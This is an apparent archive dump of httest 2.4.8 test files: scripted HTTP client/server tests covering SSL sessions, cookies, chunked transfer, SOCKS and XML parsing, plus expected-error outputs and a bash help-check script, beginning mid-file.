I "a b c d e f" _SET RET=$I _IF "$I" EQUAL "c" _BREAK _END IF _END FOR _IF "$I" EQUAL "c" _EXIT OK _END IF _EXIT FAILED END httest-2.4.8/test/test_run_all.sh0000775000175100017510000000006112141535454013777 00000000000000#!/bin/bash $srcdir/_wrapper_test.sh run_all.sh httest-2.4.8/test/http_0_9.htt0000664000175100017510000000070512205142022013103 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _WAIT END SERVER $YOUR_PORT _RES _WAIT __ __ __400 Bad Request __ __

Bad Request

__

Your browser sent a request that this server could not understand.
__045

__ END httest-2.4.8/test/unused_expect_exec.hte0000664000175100017510000000003512141535454015327 00000000000000CLIENT _EXPECT exec ".*" END httest-2.4.8/test/ifcond.htt0000664000175100017510000000343712141535454012742 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _LOOP 2 _IF "$ONLY_ONCE" MATCH "done" _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1-bar" _WAIT _END IF _IF "$ONLY_ONCE" NOT MATCH "done" _SET ONLY_ONCE=done _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1-foo" _WAIT _END IF _END LOOP _SET CNT=0 _LOOP 10000 _OP $CNT ADD 1 CNT _IF "$CNT" GT "4" _BREAK _END IF _END LOOP _REQ $YOUR_HOST $YOUR_PORT __GET /foo/$CNT HTTP/1.1 __ _WAIT _SET CNT=0 _LOOP 10000 _OP $CNT ADD 1 CNT _IF "$CNT" GE "4" _BREAK _END IF _END LOOP _REQ $YOUR_HOST $YOUR_PORT __GET /foo/$CNT HTTP/1.1 __ _WAIT _SET CNT=10 _LOOP 10000 _OP $CNT SUB 1 CNT _IF "$CNT" LT "4" _BREAK _END IF _END LOOP _REQ $YOUR_HOST $YOUR_PORT __GET /foo/$CNT HTTP/1.1 __ _WAIT _SET CNT=10 _LOOP 10000 _OP $CNT SUB 1 CNT _IF "$CNT" LE "4" _BREAK _END IF _END LOOP _REQ $YOUR_HOST $YOUR_PORT __GET /foo/$CNT HTTP/1.1 __ _WAIT _SET CNT=10 _LOOP 10000 _OP $CNT SUB 1 CNT _IF "$CNT" NOT GT "5" _BREAK _END IF _END LOOP _REQ $YOUR_HOST $YOUR_PORT __GET /foo/$CNT HTTP/1.1 __ _WAIT _IF "-4" GT "3" _EXIT FAILED _END IF END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __== AS1-foo == __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __== AS1-bar == _RES _EXPECT . "/foo/5" _WAIT __HTTP/1.1 200 OK __ _RES _EXPECT . "/foo/4" _WAIT __HTTP/1.1 200 OK __ _RES _EXPECT . "/foo/3" _WAIT __HTTP/1.1 200 OK __ _RES _EXPECT . "/foo/4" _WAIT __HTTP/1.1 200 OK __ _RES _EXPECT . "/foo/5" _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/finally_on_many_bodies.htt0000664000175100017510000000032312141535454016172 00000000000000INCLUDE $TOP/test/config.htb CLIENT _EXEC echo bla bla bla > testtest.txt END CLIENT _SLEEP 1000 END SERVER 8080 _SLEEP 2000 END BLOCK FINALLY _EXEC rm testtest.txt END DAEMON _SLEEP 10000 _EXIT FAILED END httest-2.4.8/test/env.htt0000664000175100017510000000060012141535454012255 00000000000000INCLUDE $TOP/test/config.htb BLOCK _FOO PATH : RET _SET RET=$PATH END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT . "!USER.USERNAME" _EXPECT . "foo" _WAIT END SERVER $YOUR_PORT _FOO "foo" BAR _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ # unix/windows __== $USER$USERNAME == __== $BAR == END httest-2.4.8/test/recv_length.htt0000664000175100017510000000071312141535454013772 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _SOCKET _EXPECT . "HTTP/1.1 200 OK" _READLINE _MATCH body "Content-Length: (.*)" CTLEN _READLINE _READLINE _EXPECT . "Fooo" _EXPECT . "Baar" _EXPECT . "Blafasel" _RECV $CTLEN _END SOCKET END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Fooo __Baar __Blafasel END httest-2.4.8/test/ignore_errors.htt0000664000175100017510000000015112141535454014345 00000000000000CLIENT _ERROR ".*" _DEBUG No error at all _END ERROR _DEBUG More ... _ERROR ".*" _CLOSE _END ERROR END httest-2.4.8/test/pipe_recv_to_file.htt0000664000175100017510000000145012141535454015146 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" # Pipes the receved stuff into a script :) _SOCKET _READLINE _READLINE _READLINE _EXPECT . "==AS1 OK==" _EXEC| cat > tmp.txt _RECV CHUNKED _END SOCKET _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ _PIPE _EXEC cat tmp.txt _EXEC rm -f tmp.txt _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __==AS1 OK== _CHUNKED __ __0 __ _RES _EXPECT . "==AS1 OK==" _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __ END httest-2.4.8/test/concurrent.htt0000664000175100017510000000243012141535454013652 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT END CLIENT _REQ $YOUR_HOST $YOUR_PORT2 __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS2" _WAIT END CLIENT _REQ $YOUR_HOST $YOUR_PORT3 __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS3" _WAIT END CLIENT _REQ $YOUR_HOST $YOUR_PORT4 __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS4" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1== __ END SERVER $YOUR_PORT2 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS2== __ END SERVER $YOUR_PORT3 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS3== __ END SERVER $YOUR_PORT4 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS4== __ END httest-2.4.8/test/dummy2.htb0000664000175100017510000000001212141535454012655 00000000000000SET FOO=1 httest-2.4.8/test/binary_http_body.htt0000664000175100017510000000045112141535454015031 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: AUTO __ _BINARY:SEND 000102030405 _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/dummy8.htb0000664000175100017510000000001212141535454012663 00000000000000SET FOO=1 httest-2.4.8/test/100cont_auto.htt0000664000175100017510000000105612141535454013707 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: AUTO __Expect: 100-Continue __ __0123456789abcdefghijklmnopqrstuvwxyz __0123456789abcdefghijklmnopqrstuvwxyz __0123456789abcdefghijklmnopqrstuvwxyz __0123456789abcdefghijklmnopqrstuvwxyz _WAIT END SERVER $YOUR_PORT _RES _MATCH headers "Content-Length: (.*)" CL _WAIT 0 __HTTP/1.1 100 Continue __ _RES _EXPECT . "01234567" _RECV $CL __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/shared.htt0000664000175100017510000000053212141535454012737 00000000000000INCLUDE $TOP/test/config.htb GLOBAL myGlobal CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _MATCH body "(.*)" myGlobal _WAIT END CLIENT _SLEEP 2000 _EXPECT VAR(myGlobal) "== AS1 ==" END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== AS1 == END httest-2.4.8/test/expect_with_trash_behind.txt0000664000175100017510000000026212203674077016552 00000000000000 expect_with_trash_behind.hte:2: error: there is more stuff behind last quote expect_with_trash_behind.hte:2: error: CLT0-0 Internal error(20014) httest-2.4.8/test/block_var_params.htt0000664000175100017510000000027112141535454014776 00000000000000INCLUDE $TOP/test/config.htb BLOCK _FOO PARAM _OP $PARAM ADD 1 PARAM _DEBUG $PARAM _EXPECT VAR(PARAM) "^3$" _DEBUG "$PARAM" END CLIENT _SET SUM=2 _FOO $SUM _EXPECT VAR(SUM) "^2$" END httest-2.4.8/test/inline_not_exist.htt0000664000175100017510000000004212203674077015043 00000000000000 CLIENT _SET foo=$foo(blabla) END httest-2.4.8/test/ssl_session_reuse.htt0000664000175100017510000000171412141535454015243 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem _SSL:GET_SESSION SESSION __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _SSL:GET_SESSION_ID ID1 _CLOSE _SSL:SET_SESSION $SESSION _REQ $YOUR_HOST SSL:$YOUR_PORT server.cert.pem server.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _SSL:GET_SESSION_ID ID2 _IF "$ID1" NOT EQUAL "$ID2" _EXIT FAILED _END IF END SERVER SSL:$YOUR_PORT _RES server.cert.pem server.key.pem _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE _RES server.cert.pem server.key.pem _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE END httest-2.4.8/test/newstyle.htt0000664000175100017510000000025212141535454013342 00000000000000CLIENT _SET i=0 _LOOP 2 _LOOP 3 _IF "$i" EQ 2 _DEBUG hah $i _ELSE _DEBUG bla $i _END _OP $i ADD 1 i _END _END END httest-2.4.8/test/autocookie.htt0000664000175100017510000000360312141535454013635 00000000000000INCLUDE $TOP/test/config.htb CLIENT _AUTO_COOKIE on # get a set cookie _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT # use this cookie every time _LOOP 5 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT _END LOOP # get a set cookie with the same name _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT # use this overwritten cookie every time _LOOP 5 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT _END LOOP # get a new set cookie with _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT # use both cookies every time _LOOP 5 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Cookie: AUTO __ _WAIT _END LOOP END SERVER $YOUR_PORT _RES _EXPECT headers "!Cookie" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __Set-Cookie: foo=fasel; path=/bla/bla __ __== OK == _LOOP 5 _RES _EXPECT headers "Cookie: foo=fasel" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _END LOOP _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __Set-Cookie: foo=blubi; path=/bla/bla __ __== OK == _LOOP 5 _RES _EXPECT headers "Cookie: foo=blubi" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _END LOOP _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __Set-Cookie: foo2=fasel; path=/bla/bla __ __== OK == _LOOP 5 _RES _EXPECT headers "Cookie: foo=blubi; foo2=fasel" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _END LOOP END httest-2.4.8/test/errors_neg.txt0000664000175100017510000000026212203674077013662 00000000000000 errors_neg.hte:13: error: EXPECT .: Did not expect "AS1 - 0" errors_neg.hte:13: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/autoclose2.hte0000664000175100017510000000074712203674077013546 00000000000000@:SKIP $OS mac # error messages can be different @:SKIP $OS win # error messages are different INCLUDE $TOP/test/config.htb AUTO_CLOSE off CLIENT _LOOP 2 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT _END LOOP END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == _CLOSE _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __== OK == END httest-2.4.8/test/ssl_plain_first.htt0000664000175100017510000000065012141535454014665 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _SSL:ACCEPT SSL _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/ssl_debug.htt0000664000175100017510000000167012203674077013450 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _SSL:TRACE # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL3:$YOUR_PORT client.cert.pem client.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT headers "ClientHello" _EXPECT . "HTTP/1.1 200 OK" _EXPECT . ">SSL 3.0: Handshake, ClientHello" _EXPECT headers "/dev/null 2>/dev/null httest-2.4.8/test/errors.txt0000664000175100017510000000026212203674077013031 00000000000000 errors.hte:13: error: EXPECT .: Did expect "AS2" errors.hte:13: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/connection.htt0000664000175100017510000000042712141535454013633 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: localhost __Connection: foobar __ _EXPECT . "AS1" _WAIT END SERVER $YOUR_PORT _RES _EXPECT . "GET" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1== END httest-2.4.8/test/dummy6.htb0000664000175100017510000000001212141535454012661 00000000000000SET FOO=1 httest-2.4.8/test/headers_filter.htt0000664000175100017510000000137512141535454014457 00000000000000INCLUDE $TOP/test/config.htb CLIENT # HTTP/1.0 does not know anything about Transfer-Encoding # Filter this header for receive processing _HEADER FILTER Transfer-Encoding _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.0 __Host: $YOUR_HOST __User-Agent: mozilla __ # We expect the chunk infos with in the data because Tranfer-Encoding is # filtered _EXPECT . "9\r\n" _EXPECT . "\r\n0\r\n" # Of course we also expect Tranfer-Encoding header, weired isn't it :) # But use full to do a force downgrade to 1.0 _EXPECT . "Transfer-Encoding: chunked" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Transfer-Encoding: chunked __Connection: close _FLUSH __==AS1== _CHUNKED _CHUNKED _CLOSE END httest-2.4.8/test/only_printable.htt0000664000175100017510000000053112141535454014511 00000000000000INCLUDE $TOP/test/config.htb CLIENT _ONLY_PRINTABLE on _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "Hallo Welt" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hallo Welt END httest-2.4.8/test/trace_on_failure.htb0000664000175100017510000000017112141535454014747 00000000000000INCLUDE trace_on_failure_2.htb BLOCK FAILE _REQ 127.0.0.1 8080 __GET / HTTP/1.1 __Host: localhost __ _CALL FAILE_2 END httest-2.4.8/test/nosocket.txt0000664000175100017510000000012312141535454013332 00000000000000 nosocket.hte:5: error: CLT0-0 No socket was provided and one was required.(20011) httest-2.4.8/test/block_params.htt0000664000175100017510000000177612141535454014141 00000000000000INCLUDE $TOP/test/config.htb BLOCK foo __HTTP/1.1 200 OK __Content-Length: AUTO __ __$0 $1 $2 END BLOCK bar __HTTP/1.1 200 OK __Content-Length: AUTO __ __$0 $1 $2 END BLOCK _bar2 __HTTP/1.1 200 OK __Content-Length: AUTO __ __$0 $1 $2 $3 $4 $5 $6 $7 END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "foo AS1 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "bar \$1 \$2" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "bar2 fasel he ho hu hi ha hallo |ha ha ha| |hu hu \"hu\"|" _WAIT END SERVER $YOUR_PORT _RES _WAIT _CALL foo AS1 OK _RES _WAIT _CALL bar _RES _WAIT _bar2 "fasel he ho hu hi ha" hallo "|ha ha ha|" "|hu hu \"hu\"|" END httest-2.4.8/test/embedded_sh_threaded.htt0000664000175100017510000000064412205174226015555 00000000000000@:SKIP $OS win # FIXME fails always, temp files same name httXXXXXX.bat @:SKIP $HOSTNAME.$OS mini.linux # FIXME fails sometimes, temp file name gen prob not thread safe @:SKIP fixme fixme # It happens on my maschine too temp file not thread safe. INCLUDE $TOP/test/config.htb CLIENT 190 _MATCH exec "(foobar)" BAR _MATCH exec "(blabla)" BLA #_SH #!/bin/bash _SH echo foobar _SH echo blabla _SH END END httest-2.4.8/test/ssl_no_default_pem.htt0000664000175100017510000000074612141535454015342 00000000000000INCLUDE $TOP/test/config.htb EXEC mv server.cert.pem foo.cert.pem EXEC mv server.key.pem foo.key.pem CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SSL:SET_DEFAULT_CERT $TOP/test/foo.cert.pem $TOP/test/foo.key.pem SERVER SSL:$YOUR_PORT 1 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END BLOCK FINALLY _EXEC mv foo.cert.pem server.cert.pem _EXEC mv foo.key.pem server.key.pem END httest-2.4.8/test/module.htb0000664000175100017510000000017512141535454012737 00000000000000MODULE TEST BLOCK _FOO HOOK _EXPECT Var(HOOK) "foo" _TEST:BLA foo _EXPECT Var(HOOK) "foo" END BLOCK _BLA _DEBUG Bla $1 END httest-2.4.8/test/binary_protocol.htt0000664000175100017510000000057012141535454014700 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT #_CACHE_COUNT SET 0 _BINARY:SEND "03 00 $LATE" #_X HTON16 AUTO.LEN _BINARY:SEND 41 41 "41 41 41" #_CACHE_COUNT GET LEN _SET LATE=11 22 33 _FLUSH END SERVER $YOUR_PORT _RES _SOCKET _EXPECT . "03 00 11 22 33" _BINARY:RECV 5 #_RECV NTOH16 LEN #_RECV $LEN _EXPECT . "41 41 41 41 41" _BINARY:RECV 5 _END SOCKET END httest-2.4.8/test/socks.htt0000664000175100017510000000122612203674077012620 00000000000000# ssh key login must be configured for current user at localhost # mac: Remote Login (=ssh/sftp) must be activated under System Preferences => Sharing @:SKIP $OS win # works with cygwin sshd installed except _EXEC pid/kill stuff INCLUDE $TOP/test/config.htb DAEMON _EXEC ssh -ND localhost:${SOCKS_PORT} localhost & echo $! > /tmp/socks.pid END CLIENT _SLEEP 2000 _REQ $YOUR_HOST $SOCKS_PORT _SOCKS:CONNECT $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END BLOCK FINALLY _EXEC kill `cat /tmp/socks.pid` END httest-2.4.8/test/run_help.sh0000775000175100017510000000275512203674077013140 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh printf "Test print command list\n" printf "Check CLIENT ..." ./run.sh -L | grep "CLIENT" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: CLIENT is not in the command list\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" printf "Check _REQ ..." ./run.sh -L | grep "_REQ" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: _REQ is not in the command list\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" printf "Check _SSL:TRACE ..." ./run.sh -L | grep "_SSL:TRACE" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: _SSL:TRACE is not in the command list\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" printf "Test print help text\n" printf "Check CLIENT ..." ./run.sh -C CLIENT | grep "CLIENT" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: Help text for CLIENT missing\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" printf "Check _REQ ..." ./run.sh -C _REQ | grep "_REQ" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: Help text for _REQ missing\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" printf "Check _SSL:TRACE ..." ./run.sh -C _SSL:TRACE | grep "_SSL:TRACE" >/dev/null 2>/dev/null if [ $? -ne 0 ]; then printf "\e[1;31mFAILED\e[0m\n" printf "Error: Help text for _SSL:TRACE missing\n" exit 1 fi printf "\e[1;32mOK\e[0m\n" httest-2.4.8/test/block_js_args.hte0000664000175100017510000000037512141535454014261 00000000000000REQUIRE_MODULE JS INCLUDE $TOP/test/config.htb BLOCK:JS myVeryFirstJsScript arg1 arg2 : return return2 return "Result is: '" + arg1 + arg2 + "'"; END CLIENT myVeryFirstJsScript "hallo" " welt" foo _EXPECT VAR(foo) "Result is: 'hallo welt'" END httest-2.4.8/test/unicode.ntlm0000664000175100017510000000073112141535454013273 00000000000000INCLUDE $TOP/test/config.htb CLIENT _MATCH EXEC "(.*)" B64M _EXEC $TOP/src/htntlm --write --type=3 --challenge=0x0123456789abcdef --user=hans --password=peter --response="lm ntlm" --unicode # test if user hans is unicoded only a single 'H' will be visible _EXPECT EXEC "user: H\n" _EXEC $TOP/src/htntlm --read=$B64M --info # test if we could read the message with the unicoded user: HANS _EXPECT EXEC "user: HANS" _EXEC $TOP/src/htntlm --read=$B64M --info --unicode END httest-2.4.8/test/random.htt0000664000175100017510000000071112141535454012750 00000000000000INCLUDE $TOP/test/config.htb SET TEST=Hallo Welt SET TESTTEST= He Ho # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "Random: 1.stop" _WAIT END SERVER $YOUR_PORT _RES _WAIT _RAND 10 20 RAND_NUMBER __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __Random: ${RAND_NUMBER}stop END httest-2.4.8/test/match.txt0000664000175100017510000000026212203674077012611 00000000000000 match.hte:13: error: MATCH body: Did expect AS(.) - (.)== match.hte:13: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/block_js.hte0000664000175100017510000000033612141535454013242 00000000000000REQUIRE_MODULE JS INCLUDE $TOP/test/config.htb BLOCK:JS myVeryFirstJsScript // JavaScript function justForFun() { return 'Hallo' + 'World!' } ustForFun(); END CLIENT myVeryFirstJsScript _JS:DUMMY bla END httest-2.4.8/test/var_double_ref.htt0000664000175100017510000000012512141535454014445 00000000000000CLIENT _SET foo1=blabla _SET i=1 _SET result=$foo$i _EXPECT VAR(result) "blabla" END httest-2.4.8/test/trace_on_failure_3.htb0000664000175100017510000000003212141535454015165 00000000000000 BLOCK FAILE_3 _WAIT END httest-2.4.8/test/trace_on_failure.hte0000664000175100017510000000027712141535454014761 00000000000000INCLUDE $TOP/test/config.htb INCLUDE trace_on_failure.htb CLIENT _CALL FAILE END SERVER 8080 _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __AS1 OK END httest-2.4.8/test/xml.htt0000664000175100017510000000066412203674100012266 00000000000000REQUIRE_MODULE XML INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT BUF _XML:PARSE VAR(BUF) _XML:XPATH /xml/foo/data R _FOR I "$R" _EXPECT VAR(I) "blabla[0-9]" _END END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Content-Length: AUTO __ __ __ __ blabla1 __ blabla2 __ __ END httest-2.4.8/test/perf_terminate_check.htt0000664000175100017510000000075312203674077015643 00000000000000@:SKIP $OS win # FIXME? supported? INCLUDE $TOP/test/config.htb DAEMON _EXEC ../src/htremote -p10011 -e"./run.sh -Ss" END CLIENT _SLEEP 2000 END GO PERF:DISTRIBUTED localhost:10011 SET con=2 SET count=1 CLIENT $con _LOOP $count _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT _END END SERVER $YOUR_PORT $con _LOOP $count _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __Hallo Velo _END END httest-2.4.8/test/nosocket.hte0000664000175100017510000000030112141535454013271 00000000000000INCLUDE $TOP/test/config.htb CLIENT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT END httest-2.4.8/test/pipe_exec_out.htt0000664000175100017510000000210412141535454014316 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "total" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "Start of line .* End of line" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "total" _EXPECT . "Hallo" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _PIPE _EXEC ls -al __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO 